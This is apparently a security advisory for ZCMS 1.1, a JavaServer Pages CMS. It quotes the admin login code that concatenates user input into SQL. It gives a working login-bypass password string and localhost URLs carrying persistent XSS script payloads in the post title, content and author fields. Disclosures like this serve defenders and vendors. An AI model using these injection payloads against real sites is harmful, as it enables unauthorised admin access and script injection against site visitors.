Vendor:

Product:
==============================
====================
ZCMS 1.1 JavaServer Pages Content Management System



Advisory Information:
==============================
SQL Injection & Persistent XSS



Vulnerability Details:
======================
SQL Injection:
Login to admin area requires a password but is easily bypassed using classic SQLInjection method because application uses concatenated user input to construct SQL queries.


ZCMS exploitable admin login code:
==================================
squerry="SELECT COUNT(username) AS usercount FROM "+TABLE_PREFIX+"users WHERE
status = 0 AND username = '"+username+"' AND password =
'"+request.getParameter("pass") +"' AND type = 1 ;";


So we just supply an Admin password like --->  HELL' OR '2'='2
which will resolve as true!


SQL Inject XSS Payload:
=======================
We can also inject persisten XSS payload directly to MySQL database subverting
all character filtering leveraging existing SQLInjection vulnerabilities.


Persistent XSS:
===============

Another persistent XSS vector is here in author field for comments:
http://localhost:8081/ZCMS_1.1/ZCMS_1.1/index.jsp?dir=editpost&p=[page number]

localhost:8081/ZCMS_1.1/ZCMS_1.1/?dir=login
Enter 'admin' for username field
Enter HELL' OR '2'='2 for the pass field

---------------------------------
http://localhost:8081/ZCMS_1.1/ZCMS_1.1/?dir=editpost&p=1&title="<script>alert(1)</script>
&content=<script>alert(1)</script>&author=<script>alert(1)</script>
SATAN&visibility=1&type=1&comm=0


3) Persistent XSS field
-----------------------
http://localhost:8081/ZCMS_1.1/ZCMS_1.1/index.jsp?dir=editpost&p=[page number]
